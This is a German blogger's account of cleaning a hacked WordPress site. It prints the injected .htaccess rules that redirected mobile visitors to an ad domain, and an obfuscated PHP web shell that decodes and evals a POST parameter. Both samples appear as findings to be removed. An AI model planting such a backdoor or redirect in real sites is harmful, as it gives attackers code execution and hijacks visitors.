Heute gibt es mal wieder ein Beitrag von mir in eigener Sache, der meinen WordPress-Blog betrifft.
Wie sich herausgestellt hat wurden alle Webseitenbesucher, welche mit einem Smartphone auf meinen Blog zugreifen wollten automatisch auf irgendwelche Werbeseiten weitergeleitet.
Erst einmal Danke an Steffen, der mir direkt bescheid gegeben hat, sodass der Müll nur für einige Stunden auf meiner Seite aktiv war. Nicht einmal Google war schnell genug um dies zu bemerken. 🙂
Was war passiert ?
Als erstes hatte ich ein paar Online-Viren/Maleware Scanner ausprobiert. Wie schon gesagt hat Google nichts gefunden. Der Malewarescanner von labs.sucuri.net fand dann aber etwas. Gefunden wurde ein sogenannter „Malware entry: MW:HT:291„. Mit der Onlinebeschreibung lies sich aber erst einmal nichts anfangen.
Meine erste Vermutung: Aus irgend einem Plugin oder Theme muss das ja kommen
Also habe ich erst einmal alle Plugins deaktiviert und das Template gewechselt. Leider war die Weiterleitung immer noch drin. Also musste es schon eine Veränderung der WordPress Dateien sein, oder etwas anderes.
Also schaute ich mir mal das Dateisystem an, Ordnerstruktur und WordPress-Dateien.
Dabei sind mir einige .htaccess Dateien aufgefallen, die ich so nicht angelegt hatte. Unter wp-includes, wp-content sowie im Root-Verzeichnis hatte sich da folgendes in die .htaccess eingeschleust:
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]
Sucht man im Internet nach „http://luxurytds.com/go.php?sid=1“ findet man bereits einige Einträge zu dem nervigem Thema.
Also den Schmodder erst einmal rausgelöscht und gut war….. Doch woher kommt die Maleware ?
Generell aktualisiere ich regelmäßig meine WordPress Installation sowie alle Plugins. Also sollte es nicht aufgrund irgendwelchen alten WordPress Dateien sein… (Dachte ich!)
Jedenfalls habe ich mir mal einige .php Dateien in meinem WordPress Ordner angeschaut. Bei einer Datei unter wp-content/uploads wurde ich stutzig.
Folgender Inhalt:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nb08aac'];
if(isset($s22)){eval($s21($s22));}?>
Auf den ersten Blick sieht das vielleicht für den Laien nicht wirklich besonders aus, aber warum ist der Code so „umständlich“ ?
Aufgeschlüsselt bedeutet der Code aber: Wenn jemand diese Datei ausführt mit den POST Daten „_POST[’nb08aac‘]“ kann er beliebigen Code einschleusen.
Eine super Erklärung dafür, mit allem Aufgeschlüsselt von somewebgeek.com gibt es hier.
Nachdem ich nun alle meine WordPress Dateien nach diesem Inhalt durchsucht habe, fand ich noch weitere Einträge in diversen Dateien:
Wie sich herausgestellt hat, war dies auch in der view.php des lightword Theme enthalten, welches ich allerdings nicht mehr benutze. Vermutlich war das die Quelle des Ganzen.
Was lerne ich daraus?
Vermutlich ist es nicht immer gut alles aufzuheben und ab und an sollte man mal sein WordPress aufzuräumen.
Warum soll man viele nicht mehr verwendete oder deaktivierte Themes & Plugins installiert lassen ? -> Einfach deinstallieren!
Die klassischen Einstellungen wie: WordPress Version verstecken, Username ändern, andere Tabellennamen etc. hatte ich bereits eingestellt.
Über das Plugin „Sucuri Security“ bin ich noch auf weitere Einstellungsmöglichkeiten gekommen wie z.B. Security Keys, Restrict wp-includes access und weitere Tricks.
Einen wirklichen Virenscanner, oder etwas vergleichbares habe ich aber noch nicht gefunden.
Dennoch sollte mein Blog jetzt erst einmal wieder Sicher sein 🙂